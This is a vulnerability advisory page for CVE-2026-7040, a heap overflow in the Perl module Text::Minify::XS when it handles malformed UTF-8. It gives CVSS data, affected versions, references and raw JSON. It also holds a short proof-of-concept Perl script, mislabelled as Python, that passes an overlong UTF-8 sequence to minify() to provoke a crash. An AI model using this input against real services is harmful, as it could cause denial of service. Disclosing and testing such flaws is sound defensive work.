Security Vulnerability Report
中文
CVE-2026-7040 CVSS 7.5 HIGH

CVE-2026-7040

Published: 2026-04-27 13:16:03
Last Modified: 2026-05-07 02:20:58
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Text::Minify::XS versions from 0.3.0 before 0.7.8 for Perl have a heap overflow when processing some malformed UTF-8 characters. The minify functions mishandled some malformed UTF-8 characters, leading to heap corruption. Note that the minify_utf8 function is an alias for minify.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:rrwo:text\:\:minify\:\:xs:*:*:*:*:*:perl:*:* - VULNERABLE
Text::Minify::XS >= 0.3.0, < 0.7.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl use strict; use warnings; use Text::Minify::XS; # PoC for CVE-2026-7040 # Attempt to trigger heap overflow with malformed UTF-8 my $malicious_payload = "\xc0\x80"; # Example of malformed UTF-8 overlong encoding print "Sending payload to minify function...\n"; eval { my $minified = Text::Minify::XS::minify($malicious_payload); }; if ($@) { print "Error/Exception: $@\n"; } else { print "Payload processed. Check for crash.\n"; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7040", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-27T13:16:02.710", "lastModified": "2026-05-07T02:20:57.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Text::Minify::XS versions from 0.3.0 before 0.7.8 for Perl have a heap overflow when processing some malformed UTF-8 characters.\n\nThe minify functions mishandled some malformed UTF-8 characters, leading to heap corruption.\n\nNote that the minify_utf8 function is an alias for minify."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-176"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rrwo:text\\:\\:minify\\:\\:xs:*:*:*:*:*:perl:*:*", "versionStartIncluding": "0.3.0", "versionEndExcluding": "0.7.8", "matchCriteriaId": "0B510F2F-5520-4354-BC15-2FA245593C8D"}]}]}], "references": [{"url": "https://github.com/robrwo/Text-Minify-XS/security/advisories/GHSA-jqhf-vv4h-77h2", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://metacpan.org/release/RRWO/Text-Minify-XS-v0.7.8/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/27/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}